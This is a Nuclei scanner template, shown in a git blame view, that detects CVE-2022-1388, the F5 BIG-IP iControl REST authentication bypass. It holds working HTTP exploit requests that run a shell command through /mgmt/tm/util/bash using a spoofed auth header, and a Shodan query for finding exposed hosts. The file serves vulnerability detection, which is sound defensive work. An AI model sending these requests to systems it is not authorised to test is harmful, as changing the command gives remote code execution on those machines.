nuclei-templates/cves/2022/CVE-2022-1388.yaml

67 lines
1.9 KiB
YAML
Raw Normal View History

2022-05-09 07:53:05 +00:00
id: CVE-2022-1388
info:
name: F5 BIG-IP iControl - REST Auth Bypass RCE
2022-05-09 13:57:14 +00:00
author: dwisiswant0,Ph33r
2022-05-09 07:53:05 +00:00
severity: critical
description: |
F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
2022-05-09 07:53:05 +00:00
reference:
2022-05-09 08:40:31 +00:00
- https://twitter.com/GossiTheDog/status/1523566937414193153
2022-05-11 20:30:33 +00:00
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
2022-05-09 07:53:05 +00:00
- https://support.f5.com/csp/article/K23605346
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1388
cwe-id: CWE-306
2022-05-09 09:37:01 +00:00
metadata:
shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
verified: "true"
tags: f5,bigip,cve,cve2022,rce,mirai,kev
2022-05-09 09:37:01 +00:00
variables:
auth: "admin:"
2022-05-14 10:26:45 +00:00
cmd: "echo CVE-2022-1388 | rev"
2022-05-09 08:36:32 +00:00
2022-05-09 07:53:05 +00:00
requests:
- raw:
2022-05-10 21:19:58 +00:00
- |
2022-05-09 07:53:05 +00:00
POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
2022-05-09 08:36:32 +00:00
Authorization: Basic {{base64(auth)}}
2022-05-09 07:53:05 +00:00
Content-Type: application/json
2022-05-09 07:53:05 +00:00
{
"command": "run",
2022-05-11 20:29:55 +00:00
"utilCmdArgs": "-c '{{cmd}}'"
2022-05-09 07:53:05 +00:00
}
2022-05-09 13:57:14 +00:00
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}}
Content-Type: application/json
2022-05-09 13:57:14 +00:00
{
2022-05-11 20:29:55 +00:00
"command": "run",
"utilCmdArgs": "-c '{{cmd}}'"
2022-05-09 13:57:14 +00:00
}
2022-05-11 20:29:55 +00:00
stop-at-first-match: true
matchers-condition: and
2022-05-09 07:53:05 +00:00
matchers:
- type: word
2022-05-11 20:29:55 +00:00
part: body
2022-05-09 07:53:05 +00:00
words:
- "commandResult"
2022-05-11 20:29:55 +00:00
- "8831-2202-EVC"
condition: and
# Enhanced by mp on 2022/05/19